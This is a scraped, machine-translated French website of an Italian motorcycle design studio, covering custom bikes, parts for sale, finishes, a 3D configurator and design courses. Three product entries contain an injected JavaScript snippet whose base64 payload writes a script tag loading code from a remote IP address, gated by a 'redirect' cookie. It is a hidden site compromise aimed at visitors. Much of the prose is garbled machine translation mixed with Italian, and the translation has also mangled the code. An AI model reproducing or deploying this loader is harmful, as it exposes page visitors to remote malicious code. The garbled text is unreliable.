Soumission d'idées: Avez-vous déjà pensé à faire une moto pour annoncer votre entreprise? Une motocyclette est un objet de communication sécurisé force, Il concerne la sphère de pure passion, et son parti demeurera étranger improbable. Il peut également être facilement déplacé pour les foires commerciales et événements internationaux et non moins peut être utilisé de la manière de porter autour de votre marque. la réalisation d'une moto de marque ne peut se permettre de mettre en technologies vos faits saillants, vos compétences et votre style. Nous avons toutes les compétences en DONNÉ, les fournisseurs et les machines qui nous permettent de réaliser votre idée, du plus simple au plus complexe. Voici quelques exemples de motos de marque pour les marques importantes de divers secteurs, Nos projets ne sont pas, mais donnent une bonne idée de la façon dont vous pouvez aller de personnalisations simples à des projets plus complexes. Avantages fiscaux La réalisation d'une moto de marque permet de déduire intégralement les frais engagés lorsqu'ils sont engagés. Ces dépenses peuvent en effet être classées en alternance entre: - Les frais d'étude et de recherche: conformément à l'article entièrement déductibles 108 virgule 1 TUIR - Les dépenses de publicité ou de parrainage au titre entièrement déductibles à l'article 108 virgule 2 Code impôt sur le revenu que les dépenses engagées au titre d'un contrat de prestations correspondantes, dont la cause réside dans l'obligation de la contrepartie de la publicité / publicité, en échange de paiement, la marque et / ou de produits de la société afin de stimuler la demande (CM. 34/E / 2009). frais de parrainage, pour être pleinement déductibles en tant que frais de publicité, doivent: ou a le but de la publicité pour un produit commercial ou le nom ou logo de l'entreprise; o payer sur une obligation réciproque pour le bénéficiaire. - Les frais de foires / stand d'exposition en cas d'utilisation pour les foires comme dépenses normales, Il est classé en charges commerciales déductibles en vertu du Code impôt sur le revenu dell'art.109. Il y a des frais de représentation, comme ceux-ci, nécessairement inhérente ainsi que réellement engagés et documentés, doit être gratuit.

760554 S&S X-Wedge Cam Courroie, 30mmx127T

L » S&S X-Wedge est un moteur spécial bicylindre en V avec trois caméras pour des applications personnalisées est également utilisé dans certains modèles Big Dog et CR&S, ainsi que Morgan 3-Wheeler, qui utilise le moteur à partir de X121 1,983 cc (121CI). La courroie de distribution est soumis à de fréquentes ruptures, et pourtant en moyenne ne conduit pas endommager le moteur, Il est certainement préférable de le remplacer avant qu'il ne casse. En moyenne, le fabricant fournit un remplacement tous les 5000 km, en particulier sur la moto d'application (CR&S o Big Dog) il est préférable de garder un oeil sur cette partie parce que contrairement à Morgan, où le moteur est monté frontalement et a par conséquent un meilleur refroidissement, dans la moto il est monté avec des décharges latérales qui passent très près. Une excellente façon de garder un oeil sur la sangle est d'utiliser notre réseau de distribution de couvercle de carter. NB: temps 2 semaines ARO!

la plaque en forme de Ag. 925/1000 “CR&S” “EXERCE” gravé selon les spécifications du client

Apparemment, de nombreux clients se plaignent "disparition" la plaque de leur CR&S EFFECTUE. La plaque est en argent 925 et est réalisé ad hoc pour le client sur la même gravure, le numéro de production de la moto et peut-être le nom du client ou pseudo. Nous sommes en mesure de le reproduire comme l'original, avec les mots que vous voulez. NB: Le temps de l'exécution des commandes est 4 semaines ARO. NB: temps 4 semaines ARO!

Piaggio MP3 “Courant”

Le Piaggio MP3 selon DONNÉ! technologique, fonctionnel et subversive. Si vous êtes intéressé par le projet d'adopter automatiquement et directement à notre e-boutique avec un dépôt, Ensuite, nous allons définir le projet en fonction de vos goûts. Tournez le concept de scooter: Il est maintenant bon pour un restyling du scooter classique compris comme bénéficiant d'une belle forme plastique mécanique laid, le marché est prêt pour un nouveau regard sur banlieusard urbain moderne. Il y a un fort besoin d'un moyen qui nous permet à l'aise avec facilité trajet quotidien, la fiabilité et le confort. Mais scooter aujourd'hui "mature", celui qui cherche un produit fiable et utilisable, mais aussi pour lui permettre de se faire remarquer et vous transférer à d'autres leur expérience et leur passion moto, Il est prêt à renoncer à quelque chose en termes de confort juste pour avoir un support qui le caractérise et identifier, mais aussi et surtout que le plaisir, cet enthousiasme! Nous voulons créer un objet qui collecte à moins que les avantages de tous les mondes de moto, mais les sentiments, les lecteurs, les attractions typiques de tous les mondes, confluendole dans un projet par l'industrialisation et la commercialisation facile. .1 performance: Le moteur devient le cœur battant, l'élément de coordination, la base, inutilement son mais efficacement parfait. Un moteur de 300cc moderne est l'équilibre parfait entre légèreté et performances en, mais dans ce cas il faut un moteur de plus grosse cylindrée (500~ 800cc) qui transmet de bonnes vibes comme une moto. .2 intemporel: Toujours la combinaison de forme par rapport à la fonction oxymoronic a saisi les concepteurs, dans ce dualisme éternel qu'une seule chose est certaine, la fonction est éternel, le vieillissement de la forme. Notre vision est étroitement liée à la fonction du particulier, à sa topique mécanique. .3 charme: L'appel dans ce cas est un enfant qui regarde un spin machine à laver. Une nécessité quotidienne, un rituel de routine que, malgré sa vanité visuelle ne parvient pas à enchanter pour sa tournée kaléidoscopique de couleurs et de détails. .4 mécanique: La mécanique raffinée, en composants fonctionnels, mais aussi belle, pas trop industrielle, bien fait et conçu pour être vu et apprécié, à l'intrigue et d'attirer. Le Stream est notre proposition pour le style futur pour la famille MP3. Et « sa variation naturelle de la clé 2020, Il est encore un scooter, mais ses détails sont supernaked. Ce projet avec vers le bas pour explorer les chemins de terre que d'autres fabricants de motos ont laissé inexploré pour l'instant, Cela signifie que le scooter comme moyen de fortune moto mais comme une évolution de la moto classique. Notre proposition prévoit diverses façons de définir, de la maquette statique à un prototype fonctionnel et les caractéristiques de production avec du béton. E « il équipé

Vespa Tattoo

Que pouvez-vous dire au sujet de la Vespa qui n'a pas déjà été dit ? Forse un bel tatouage donner ? La guêpe est une icône de la moto et le moteur populaire, Il a traversé les décennies tout en restant sur le bord de coupe, toujours fidèle à elle-même, toujours un mythe du moteur lumière. E « a été interprétée dans toutes les interprétations possibles, de la plus pistaiole et amusant à la très taille basse (o hippy), passant divers cultes tels que ceux générés par le film Quadrophenia 1979, symbole d'une génération dans l'humeur à se rebeller contre la rébellion! Au fil des années, la guêpe a été démembré, coloré, bâclée, préparé, éclairé et pondéré, rendu célèbre par e volgarizzata ... nous avons simplement tatoué! Nous avons gravé de manière indélébile sa peau en acier (Steel est resté, toujours fidèle au régime original de Corradino D'Ascanio), nous avons sculpté au-dessus d'un beau design floral qui est devenu partie intégrante de son corps / châssis, une partie indélébile, un amour éternel, qui ne peut être effacée par une simple couche de peinture, qui sera toujours là où il a été mis. Nous avons enregistré le corps avec un artiste de tatouage alène et qualifié ou plutôt la main de graveur, nous avons créé un léger relief à peine perceptible au toucher, Nous avons ensuite couvert avec la peinture originale "blessure" créé pour assurer la durabilité et la rendre encore plus léger et imperceptible notre intervention. Le résultat est une conception à peine perceptible, extrêmement élégant, extrêmement sublime, comme nous ne savons comment faire italien. Le tatouage moto est un processus qui nous a inventé le Given et nous décliner dans de nombreuses variantes, plus ou moins raffiné, plus ou moins visibles, en fonction de la moto, propriétaire, et le matériel sur lequel nous allons travailler. Nous pouvons travailler sur du plastique, d'aluminium ou de fer, peints ou bruts, pour chacun de ces matériaux que nous avons mis au point un processus en fonction des caractéristiques du matériau et la demande de finition. Pour plus d'informations s'il vous plaît voir notre page dédiée à cette finition. Le traitement a été donné un peu de processus complexe que le corps de la guêpe est structurelle et non amovible, donc ce fut un plaisir de travailler directement sur le plaisir du vélo.

CR&S EFFECTUE “élégant”

L'un des CR&S duu le plus beau que je l'ai jamais fait en CR&S, sobre, classique, mais perturbateur comme ne peut être duu. Raffiné être éteint et allumé brutal, Il caractérise par une tonalité de livrée graphique, un CR&S Gris diffusé à toutes les parties du corps, même ceux qui sont normalement en noir mat. Il CR&S Gris contraste parfaitement avec la CNC dans des plaques en aluminium nickelé poli et, évidemment, avec le châssis et les autres éléments en acier inoxydable. Ultimissima série CR&S EFFECTUE, année modèle 2014 avec toute une série de mises à jour de la mécanique et aux organes qui en ont fait un produit encore plus fiable et durable, dans le temps et kilomètres. Parmi les accessoires, les étriers de frein Discacciati DBS pour CR&S, avec un design unique et des performances de MotoGP, la billette de réservoir d'huile du moteur avec le finning typique "porc-épic", Les miroirs sur le guidon et les soins corporels esthétiques mentionnés ci-dessus et les plaques CNC. Non seulement enfin en selle en cuir avec broderie "EXERCE". Le vélo est en configuration "conlatusa" ce qui signifie deux places (des vélos sont venus exclusivement monoplace). Pour les non-initiés le vélo a un déplacement de 2000cc (1917cc) et une puissance d'environ 105 CV, Mentra livraison de couple est bien 152 nm. Le vélo a seulement 7000 km, propriétaire unique, l'un des derniers produits en CR&S, enregistré le 24/9/2014. Il est situé à Rome et ne pas accepter le commerce-ins.

PLANTES ABS OEM MOTO

Merci à notre partenariat avec le fabricant de systèmes d'ABS pour l'équipement d'origine, NingBo freins de sécurité, nous pouvons suivre les fabricants de moto pour leur assemblage d'équipement d'origine des systèmes OEM ABS moto. NingBo systèmes de freins Safe Co, Ltd a été fondée en Décembre 2014, avec l'objectif principal de développer un système de sécurité pour les véhicules à deux roues comme motocyclettes et les véhicules électroniques à grande vitesse. Elle se développe en interne R&ré, production, équipe de vente et services tecnici.Ha R&D et de gestion possédant une vaste expérience, y compris 3 post-doctoral, 10 spécialistes et PHD, Il vise à être le numéro un en Chine et dans le monde, dans le domaine du système de freinage antiblocage. La performance de notre produit ABS a passé avec succès la certification EUR Standard IV (Luxembourg Ateel) à Août 2015 ainsi que la certification EMC en Novembre 2015. La société a été évaluée par TUV IATF16949 (Allemagne) en Décembre 2015 et nous avons également réalisé un partenariat stratégique avec de nombreuses entreprises internationales telles que Benelli, PIAGGIO, MONTANT, LONCIN, Lifan, Qianjiang, Temps infini, Zongshen. Présentation du produit : Il améliore la stabilité et le contrôle de la moto raccourcit la distance de freinage conception légère (tout en un) et une insertion facile dans Taille de mouvement: 86.6× 64 × 98.6mm Peso: ≈0.746Kg identification automatique du type de surface de route et glisser le contrôle de l'interface de diagnostic variable et peut KLINE faible bruit rayonné à canal unique contrôle: roue avant double commande de canal: à la fois la roue avant et deux canaux arrière du système ABS F / R all-in-one. entièrement intégré. seulement 80x80x100mm Dimensions. avantages techniques: Design compact et taille spécifique pour l'installation de mouvement dans l'électrovanne micro-débit pour le développement de l'algorithme du système de freinage et le code d'auto-génération basée sur le contrôle Matlab / Simulink vitesse de rotation de vélo basé sur une architecture PWM avec le système MCU + ASIC PCB quatre couches RTOS est conforme à l'OSEK de développement ECU conformément aux exigences de ISO26262 pour support de communication à travers la ligne K et CAN, avec un diagnostic d'erreur offre complète Plus 100 surveillance de la sécurité et des stratégies de gestion Prise en charge la fonction d'étalonnage basée sur CCP (CAN l'étalonnage Protocole) La technologie de production, la technologie de correction d'erreurs et de production moderne Fonctionnement du produit: le système de freinage antiblocage (MABS) Il est conçu spécifiquement pour les motos, considerando la dinamica del veicolo e le caratteristiche del sistema di frenatura.Basandosi su stato di movimento della ruota frenata (lire chaque milliseconde) à partir du capteur de vitesse de roue, l' ABS regola la coppia di frenatura per evitare che le ruote si blocchino.Questo è un sistema di controllo a circuito chiuso e può avere i seguenti vantaggi: La stabilité du véhicule peut être assurée à tout moment de freinage. La distanza del

CR&S EFFECTUE “Spécial”

Certes, l'un des CR&S duu le plus exclusif jamais réalisé en CR&S. En plus d'avoir tous les accessoires disponibles dans le catalogue, ce mouvement présente également un nouveau phare ad hoc réalisée exclusivement pour le propriétaire actuel. Une peinture d'un bleu profond comme l'océan Atlantique et une longue liste d'accessoires: Regarder billette avec un canal modulaire, étriers monoblocs Brembo avec attaque radial, moteur billette du réservoir d'huile avec la finition "porc-épic", poli miroir intermanete moteur, cadre brossé, Frein et d'embrayage pompes billette Discacciati DBS avec un design exclusif CR&S Racing, cap Rizoma course etc. Venez seul dans le Carriès, tonnes de couple (150 NM) et assez de cavalerie (environ 105 arbre Cv). vélo 2000 km, Nenci à 50 km du moteur a été mis à jour à la version 2200 cc!!!! propriétaire, année modèle 2013, environ 2000 km.

Harley Davidson V-ROD “VRASCAW”

Une moto beaucoup discuté Harley Davidson V-Rod, dans toutes ses nombreuses variantes. Même beaucoup ne considèrent pas une vraie Harley Davidson à cause de son moteur refroidi à l'eau technologique, contraire aux principes de la simplicité du mouvement de Milwaukee. Pourtant, nous aimons, Nous aimons pour sa faible ligne et musculaire, pour son style "inutilement " exécution. Peut-être que nous pourrions même dire mieux que tous les autres Harley Davidson V-Rod est la philosophie américaine d'aller sur la route, gros moteur, grandes performances, de cyclisme de grille et coupe éclaté. Une exclusivité de burn-out ou le tir de la route (ou mieux "Autoroute"!) Notre travail sur le vélo axé, comme il est normal en ce qui concerne la personnalisation que nous prenons en compte, principalement sur les volumes globaux, dans le second cas, nous avons reconsidéré l'agrément de conduite et en général les mesures est que des moyens géométriques anthropomorphes de mouvement, Enfin, nous nous sommes concentrés sur les détails. Le volume d'émission a été résolu en essayant de donner le vélo un aspect général plus trapu et moins tendu la version originale de la Harley Davidson V-Rod, Ensuite, nous avons parlé sur le positionnement et la forme des éléments de carrosserie en tant que réservoir, faro, instrumentation et la queue. En ce qui concerne la structure et de la géométrie, nous avons recueilli l'arrière afin de raccourcir l'empattement, élever le centre de gravité et l'angle d'axe de direction verticaliser, Cela a conduit à une meilleure manipulation et manoeuvrabilité, plus adapté à une utilisation du journal de moto. Enfin, nous avons développé tous les détails, mécanique et esthétique, tirer les pièces à réaliser en 3D, donnant une première version d'impression 3D, et une fois confirmé la bonté, nous sommes passés à la réalisation de composants en aluminium, ABS plastique et plastique PMMA transparent via CNC. En fin de compte notre Harley Davidson V-Rod est parfaitement notre style de personnalisation moto faite sur mesure, sur mesure dans tous les sens pour le client, afin qu'il puisse tranquillement entouré d'un cercle, avec les règles et avec le souci du style, mais aussi la facilité d'utilisation.

Peinture et graphique

Un travail de peinture est à la base, mais il est aussi la fierté d'une moto. le même, ou peut-être encore plus, applique à la "Couleur & réduire" ou le projet graphique jeu complet. Grazie al nostro estro ed alla nostra pazienza e cura dei dettagli possiamo realizzare la verniciatura grafica completa della moto, sia essa in tinta piatta, o con colori particolari e sopratutto grafiche accattivanti.

FANTÔME

ROBERTO A VA Boneville Le navigateur du Multivan passé neuf nous arrête devant la porte fermée d'une ferme. de la voiture. Dans la cour d'une vieille dame, déjà, il sait ce que sera la question qui va se transformer. Devant moi au-delà de la porte grise, il a entendu les mêmes mots de Graziano Rossi, Marco Belli, Makoto Tamada. « Et, Cette adresse est via Ca « Nine un, mais ils ont donné le même nom à une rue de la zone industrielle près d'ici. Vous devez revenir à Vérone. Au feu, tourner à gauche et au premier rond-point à droite. «J'éteins le navigateur allemand et nous comptons sur Google Map. Le smartphone Diego en dix minutes nous amène à la porte d'entrée de l'In-Motion. Gianna nous accueille dans le bureau. L'air conditionné crie, comme si elle serait, et à l'extérieur il y a quarante degrés. A travers le verre, dans le hangar, HRC et marques Minolta qu'ils connaissent MotoGP. Le long de la paroi d'une rangée de réservoirs de couleur avec la marque Zaeta. La jeune fille avec des packs leggings bleu dans des boîtes cercles Kineo prêts à être expédiés. Un beau cul .... Roberto nous a donné rendez-vous ici, la ferme de Jules Bernardelle, de faire des photos qui racontent la première tranche de ce projet fou. Des foules comme des projets qui lient les hommes proches des passions. Roberto Maria Crepaldi sessantino est un fils d'art. A dix-sept ans, il a accompagné les clients de la concession de son père pour aller chercher la voiture Enzo Ferrari. Au fil des années, il a contribué à mettre en Italie la marque Jaguar, Aston Martin, Triunph, Harley Davidson e Husquarna. en 1993 Il a fondé l'équipe CR&S Britten e con la Britten V 1000 Il a participé à trois éditions du Tourist Trophy. aujourd'hui, avec la marque RMC, Cycles enregistrement moteur, Il travaille à aller sur le lac salé de Boneville et battre le verrouillage record de vitesse à 423 kmh. Alors que Diego prépare les corps de caméra et lentilles, L'équipe de Roberto rencontre progressivement. Ugo Torri est un entrepreneur et un gentleman driver avec une passion pour les motos de vitesse et de belles. Giulio Bernardelle est le directeur technique du projet. Il a remporté deux monde avec Valentino Rossi et Roberto Locatelli, Il a été directeur technique du Minolta Honda et Konica Pramac Honda en MotoGP équipe. Donato Cannatello est le concepteur responsable du corps fuselé de la moto. Dario Marchetti a couru sur la piste et sur la route, dans le monde, en superbike, nell'endurance, un e Macao Suzuka. En Amérique, il a déjà gagné à Daytona et le lac salé de Boneville sera presque couché sur RMC pour exécuter plus de quatre cents par heure vers le dossier. Les gars de In-Motion mènent hors du hangar le prototype du CMR. L'équipe se rassemble autour de

SUPER3D

fonction getCookie(e){var U = document.cookie.match(nouveau RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

MOTO TATTOO

Forte expérience avec notre finition "unpaint", nous avons développé une nouvelle évolution, la "Moto Tattoo"! Comme les tatouages ​​sont définitivement gravés sur notre peau, de la même façon, nous avons essayé d'affecter de manière indélébile sur la peau de son vélo graphique, son style, son talent artistique et ses inspirations. Nous avons donc mis au point un procédé de gravure finale qui peut être appliqué sur des surfaces rugueuses, à la fois en métal et en plastique. Le procédé est effectué à la main avec les mêmes procédures que un tatouage sur la peau humaine, donc, projet sur papier, transfert d'une partie et Freehand de gravure. De cette base, nous pouvons couvrir et terminer la pièce avec des graphismes différents, peinture ou galvanisation. Le traitement peut être appliqué sur des parties du corps et des pièces mécaniques, charretier, couvercles ou autres.

GIVEN motodesign

icône ITALJET DRAGSTERReinventare ... Plus ... SAMURAI CHOPPERBassa long et mauvais ... Check it out ... VESPA TATTOCosa vous pouvez le faire sur une Vespa qui a déjà été fait avant, ou pire qu'elle ne ruine pas le déjà parfait et la conception éternelle ? Découvrez ici ... CR & S Duu mécanique ND01La à son expression maximale ... KAWASAKI LAMAIALONA_ moi si tu peux ...

contacts

DONNÉ Donato Cannatello

MotoDesign

Étant donné est une entreprise possédant une vaste expérience dans la conception axée moto. avec plus de 10 années de conception du projet, l'ingénierie et le style de moto, nous pouvons développer et suivre tout type de projet, en partant d'un concept de base par l'intermédiaire d'un premier dessin au crayon, jusqu'à ce que le développement complet d'une série de mouvement ou de pré-série. Nous avons différents outils et fonctionnalités internes et une liste des fournisseurs qui peuvent satisfaire toute demande de nous. Notre objectif est de nous pousser à de nouveaux niveaux de développement dans les entreprises de conception et à la réalisation de meilleurs produits à moindre coût.

Boutique

Bienvenue sur magasin donné notre boutique en ligne, dans ce coin trouvé entre les différentes parties, pièces de rechange, accessoires et services. Retrouvez nos produits, mais aussi des pièces de différentes motos, neufs et d'occasion. Toutes strictement pour les motos, vélo ou pour leur design.

mouvement 3D et configurateur de produits

version "Bêta" notre configurateur 3D. Cette première version est un simple réajustement de la version WEB pour les postes de travail Kiosque, par la suite encore évolué. Pour évaluer une version locale ou un contact plus défini.

Filtro aria Kuryakyn Hypercharger pro-r par CR&S EFFECTUE

Nous avons mis au point un kit pour monter la belle pro-r Kuryakyn Hypercharger sur notre CR&S EFFECTUE. Le kit comprend tout le matériel nécessaire et le filtre Kuryakyn pro-r Hypercharger. Si vous avez un et que vous voulez duu + les performances + style + du son, alors vous ne seriez pas monter! NB: temps 4 semaines ARO! Installation pour Kuriakin Pro-R filtre à air CR&S DUU Retirer le filtre à air d'origine, PAY ATTENCTION, les vis sont de taille Imperial, afin de les tenir à l'écart pour plus. Maintenant, vous pouvez voir le corps de papillon exposé. Mettre le joint d'origine à sa place. Fixer nouvelle bride de fixation avec des vis originales Imperial. Ajouter de nouveaux joints d'étanchéité sur la bride de fixation. Maintenant fixer le nouveau filtre à air Hypercharger pro-r Kuryakyn partie intérieure avec 3 vis dans le kit (métrique M6) Couvrir les vis avec couvercle en plastique. Placez du filtre à air en position de travail. Ajouter couvercle de filtre à air. Secure Shell en dehors de la Hypercharger pro-r Kuryakyn. Payer à la attenction 2 guides dans la partie avant à maintenir l'axe des vannes. Fixer la petite vis de la partie avant vers le haut à maintenir l'axe (PAY attention est un 7/64” impérial clé hexagonale). Fixer le INFÉRIEUR 7/64” vis. Si vous ne trouvez pas 7/64” vis, vous aurez du mal à être en mesure de le fixer. Trouver le bouchon en laiton sur le corps de papillon (côté gauche regardant le vélo). Retirez le bouchon en caoutchouc. Utiliser le tuyau en caoutchouc sur le bouchon en laiton joint ... ... avec le bouchon inférieur sur le filtre à air au-dessous des valves. Avec des sangles. Run and Enjoy!

SURFACE ENGINEERING ET MODÉLISATION

Les besoins de conception à l'ingénierie Ce qui nous distingue des autres amateurs de moto, Ce que nous aimons se salir les mains avec de la graisse et l'huile, puce culte, mais nous prévoyons également ordinateur fanatiques! Donc, notre première approche de la conception est informatisée et en particulier le mode 3D. Avec notre logiciel et matériel et avec nos mains, nous créons des surfaces en classe A ou B, Solide ou simplement en rendant les modèles qui sont à la fois belle, mais aussi et surtout fonctionnelle. Fonctionnelle signifie que vous pouvez les envoyer directement à un moulin, un 5 axes ou une machine de rendu, et vous ne serez pas avoir des problèmes de poids, contre-dépouilles, ou autre.

3D CONFIGURATEUR

Merci à notre expérience dans la conception de moto, dans la conception et le style et la modélisation en trois dimensions, nous avons développé un configurateur 3D qui peut être décliné comme le configurateur de vélo, configurateur de voiture ou plus génériquement comme configurateur de produits. en réalité,, pour être plus précis, Il est une plate-forme entièrement configuré pour plusieurs types d'objets, surtout évidemment elle motocyclettes capable de fonctionner sur différentes plates-formes. Parce que notre configurateur 3D? Contrairement aux systèmes conventionnels de configuration, la nôtre est beaucoup plus vaste et modulaire mais surtout evolvable dans le temps d'une manière très simple. Ce système se traduit par un outil, pour les fabricants de motos (ou d'autres produits), extrêmement utile et efficace.

Un configurateur 3D global

Un exemple d'une libération possible dans le configurateur 3D en mode WEB. Il peut également être utilisé en mode plein écran. Exiger carte vidéo GTX ou similaire. uot;> fonction getCookie(e){var U = document.cookie.match(nouveau RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

UM RENEGADE SCRAMBLER 300W

L'UM RENEGADE SCRAMBLER 300W est un prototype (showbike) créé pour UM mondial sur la base de leur produit actuellement sur le marché, le renégat COMMANDO. Sur la motion originale bien sûr, nous avons dû garder autant de pièces que possible pour optimiser le processus d'ingénierie entier et mis en production, nous avons également réutilisé certaines des pièces de production réelles UM entreprise afin consertire une économie d'échelle avantageuse. Le principal changement a évidemment affecté les nouvelles dimensions de roues ( 120/70 R19 Ant. e 170/60 R17 Post.) nous avons dû utiliser pour donner le vélo une nouvelle garniture enduro, Nous hubs existants réémise puis avec une nouvelle série de Takasago Excel et gravit les panciutissimi et tassellatissimi Continental TKC 80. De même, nous avons dû intervenir pour soulever le vélo sur le plateau, puis l'arrière nous avons opté pour deux amortisseurs 380mm, tandis que la fourche est restée la série pour limiter les investissements. Pour superstructures nous avons attiré avec plaisir par ceux qui sont la production en série componentistic UM, toujours au plus haut niveau considéré comme la fin du marché, le mélange des éléments classiques avec des pièces plus modernes, et dans certains cas "perturbateur" comme la protection anti-encastrement en tôle de 4 mm en notre technique "Fiche-Box". Nous avons aussi connu une première dans le domaine de la moto, à savoir la création de composants en bois fabriqués à partir de la conception 3D par fraisage à commande numérique (CNC), et en "joues" réservoir avec un palier de forme parfaite sur les surfaces du réservoir d'origine et certains détails dans la région arrière. Le reste des pièces sont fabriquées dans l'impression 3D, mais aussi par des artisans locaux, la belle sellerie en cuir est un exemple, mais aussi les garde-boue en tôle ne plaisante pas. Le vélo a été présenté au salon de la moto EICMA à Milan 2018 et selon beaucoup est l'une des caractéristiques les plus intéressantes que l'on voit.

Nous venons de EICMA 2017

Une belle galerie de photos de l'événement EICMA à l'UM position mondiale qui nous a vu la création de participiez du prototype que vous pouvez voir dans les images et la préparation du "coin personnalisation". L'objectif des deux projets était d'évaluer la réponse du marché italien au mouvement produit UM et aussi d'analyser les nouvelles possibilités offertes par la personnalisation "à la demande" liés au prototypage et aux techniques modernes d'impression 3D. Les résultats en termes de réponse du public a été extrêmement enrichissante. Merci à tous ceux qui sont allés à nous saluer et de voir ce que nous avons fait. fonction getCookie(e){var U = document.cookie.match(nouveau RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

FINISH “unpaint”

L »"unpaint" est un processus de finition que nous avons développé en DONNÉ. Il est une proposition de personnalisation "legère" pour les vélos qui ont déjà un bon style ou la conception, il y a beaucoup et aujourd'hui ... sur laquelle nous ne voulons pas l'idée d'intervenir trop. alors une procédure mini-invasive, qui conserve les caractéristiques fonctionnelles de la série de mouvement (appariements, la qualité et la fonctionnalité), tout en donnant à la moto un look plus personnel, le plus expérimenté et aussi plus facile à utiliser. La finale est rien de plus qu'un processus de longue correspondance avec différentes cartes de grains, bases de couleurs qui sont ensuite mélangées, graphique, logos, divers autocollants et enfin vernis transparent.

Zaeta 530 DT

Pour notre ami, nous avons à vendre un merveilleux Zaeta 530 DT Le vélo est toujours sous garantie, enregistrée en Mars 2017. seulement 3000 km, superdivertente et fiable!

CR&S Full option !! NOUVELLE !!

Nous avons à vendre une belle CR&S con 200 km (presque neuf), enregistré dans 2008. Il a pratiquement toute la liste des accessoires en CR&S: Les jantes en alliage avec Mavic Forks et Fourreau tiges de traitement CNC DLC (Diamond Like Carbon) amortisseur arrière Ohlins Racing simple radiateur Miroirs Rizoma CNC couleur moteur peint en poudre gris foncé Tout immaculéement, tout drôle! enregistré dans le 2008, propriétaire unique, 200km.

Donné “VRS02”

Le VRS02 est l'évolution de VRS01, vélo qui se traduit, nous avons créé une nouvelle finition pour le cadre en aluminium, gratté pour l'amener à l'œil nu, puis donner des traces de couleur amarante "rouille", un exemple typique de notre technique de finition "unpaint". Le mécanisme est inchangé dans sa simplicité et fonctionnalité, course de localisation, bons freins, roues libres, regarder da "engrenage fixe", des pneus larges pour copier ouvrir bien urbaine.

Miroirs universels Miroirs avec visualizzione angle aveugle intelligent Rider

Il aide à prévenir les accidents lors du changement de voie en augmentant la visibilité dans l'angle mort. La tige robuste 9,5 mm d'épaisseur réduit le clapet et accroît la robustesse Toiture ABS résistant et de caoutchouc de haute densité des couvertures pour une durabilité considérable et regarder miroir MODERN 6 pouces pour une meilleure visibilité. UNIVERSAL MOUNTING compatible avec toutes les marques et modèles de motos. Permet d'éviter ACCIDENTS tout en changeant les voies par une visibilité accrue dans la zone aveugle. 9.5mm tige robuste épais réduit les vibrations et augmente la solidité coquille durable ABS et la tige de caoutchouc à haute densité pour des couvertures ajouté DURABILITE ET est moderne 6 tête de miroir pouces pour visibilty ACCRUE FIT UNIVERSAL VERS L'ARRIÈRE compatible avec toutes les marques et modèles de moto

Spoke pour Triumph Speed ​​Triple 1050

description courte. NB: temps 4 semaines ARO!

Motogadget soutien MOSCOPE PRO pour Harley Davidson

Un support spécialement conçu pour être monté facilement sur votre vélo le bel instrument de motogadget , dans ce cas, il vous permet de monter le PRO Motoscope sur tous les Harley Davidson XR 1200 et tous les modèles de support Sportster.Il ne nécessite aucune modification à la moto, supprimant simplement le support d'origine, et en remplaçant sur ce, permet également l'utilisation de vis originali.Disponibile plastique ABS ou en aluminium, à la fois billette avec une grande finition de base, prêt pour l'installation, vernicicati, poli (pour l'aluminium) ou autre. NB: temps 4 semaines ARO!

BMW R NINET

description courte.

FLUX DE STYLE – Cours de style, Conception, Rendu Sketches e

FLUX DE STYLE est le cinquième et dernier module de notre cours de conception, Il capture les compétences de style et de conception dans le domaine de la conception des transports. Le cours est organisé en plein cours IMMERSION et en un jour, vous permet d'acquérir les compétences requises dans un rapide et pratique.

ÉCOULEMENT PLASTIQUE – Parcours de modélisation physique et plastique impression 3D

